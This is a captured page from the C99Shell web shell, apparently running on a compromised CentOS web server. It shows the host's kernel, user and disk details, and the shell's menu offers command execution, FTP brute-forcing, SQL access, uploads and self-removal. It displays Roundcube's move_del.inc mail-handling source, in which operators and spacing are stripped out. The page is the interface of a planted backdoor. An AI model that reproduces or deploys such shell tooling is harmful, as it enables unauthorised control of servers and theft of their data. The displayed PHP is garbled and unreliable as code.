!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/steps/mail/   drwxr-xr-x
Free 9.15 GB of 93.48 GB (9.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     move_del.inc (4.6 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | program/steps/mail/move_del.inc                                       |
 |                                                                       |
 | This file is part of the RoundCube Webmail client                     |
 | Copyright (C) 2005-2009, RoundCube Dev. - Switzerland                 |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Move the submitted messages to a specific mailbox or delete them    |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+

 $Id: move_del.inc 2758 2009-07-16 15:01:05Z thomasb $

*/

// only process ajax requests
if (!$OUTPUT->ajax_call)
  return;

// count messages before changing anything
$old_count $IMAP->messagecount();
$old_pages ceil($old_count $IMAP->page_size);

// move messages
if ($RCMAIL->action=='moveto' && !empty($_POST['_uid']) && !empty($_POST['_target_mbox'])) {
    
$count sizeof(explode(',', ($uids get_input_value('_uid'RCUBE_INPUT_POST))));
    
$target get_input_value('_target_mbox'RCUBE_INPUT_POST);
    
$mbox get_input_value('_mbox'RCUBE_INPUT_POST);

    
// flag messages as read before moving them
    
if ($CONFIG['read_when_deleted'] && $target == $CONFIG['trash_mbox'])
    
$IMAP->set_flag($uids'SEEN');

    
$moved $IMAP->move_message($uids$target$mbox);
  
    if (!
$moved) {
        
// send error message
    
if ($_POST['_from'] != 'show')
          
$OUTPUT->command('list_mailbox');
        
$OUTPUT->show_message('errormoving''error');
        
$OUTPUT->send();
        exit;
    }

    
$addrows true;
}
// delete messages 
else if ($RCMAIL->action=='delete' && !empty($_POST['_uid'])) {
    
$count sizeof(explode(',', ($uids get_input_value('_uid'RCUBE_INPUT_POST))));
    
$mbox get_input_value('_mbox'RCUBE_INPUT_POST);
    
$del $IMAP->delete_message($uids$mbox);
  
    if (!
$del) {
        
// send error message
    
if ($_POST['_from'] != 'show')
          
$OUTPUT->command('list_mailbox');
        
$OUTPUT->show_message('errordeleting''error');
        
$OUTPUT->send();
        exit;
    }
    
    
$addrows true;
}
// unknown action or missing query param
else {
    exit;
}

// refresh saved search set after moving some messages
if (($search_request get_input_value('_search'RCUBE_INPUT_GPC)) && $IMAP->search_set) {
    
$_SESSION['search'][$search_request] = $IMAP->refresh_search();
}

if (
$_POST['_from'] == 'show')
{
  if (
$next get_input_value('_next_uid'RCUBE_INPUT_GPC))
    
$OUTPUT->command('show_message'$next);
  else
    
$OUTPUT->command('command''list');
}
else
{
  
$msg_count      $IMAP->messagecount();
  
$pages          ceil($msg_count $IMAP->page_size);
  
$nextpage_count $old_count $IMAP->page_size $IMAP->list_page;
  
$remaining      $msg_count $IMAP->page_size * ($IMAP->list_page 1);

  
// jump back one page (user removed the whole last page)
  
if ($IMAP->list_page && $nextpage_count <= && $remaining == 0) {
    
$IMAP->set_page($IMAP->list_page-1);
    
$_SESSION['page'] = $IMAP->list_page;
    
$jump_back true;
  }

  
// update message count display
  
$OUTPUT->set_env('messagecount'$msg_count);
  
$OUTPUT->set_env('current_page'$IMAP->list_page);
  
$OUTPUT->set_env('pagecount'$pages);

  
// update mailboxlist
  
$mbox $IMAP->get_mailbox_name();
  
$unseen_count $msg_count $IMAP->messagecount($mbox'UNSEEN') : 0;
  
$OUTPUT->command('set_unread_count'$mbox$unseen_count, ($mbox == 'INBOX'));

  if (
$RCMAIL->action=='moveto' && $target) {
    
$OUTPUT->command('set_unread_count'$target$IMAP->messagecount($target'UNSEEN'));
  }

  
$OUTPUT->command('set_quota'rcmail_quota_content($IMAP->get_quota()));
  
$OUTPUT->command('set_rowcount'rcmail_get_messagecount_text($msg_count));

  
// add new rows from next page (if any)
  
if ($addrows && ($jump_back || $nextpage_count 0)) {
    
$sort_col   = isset($_SESSION['sort_col'])   ? $_SESSION['sort_col']   : $CONFIG['message_sort_col'];
    
$sort_order = isset($_SESSION['sort_order']) ? $_SESSION['sort_order'] : $CONFIG['message_sort_order'];

    
$a_headers $IMAP->list_headers($mboxNULL$sort_col$sort_order$count);

    
rcmail_js_message_list($a_headersfalsefalse);
  }
}

// send response
$OUTPUT->send();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0049 ]--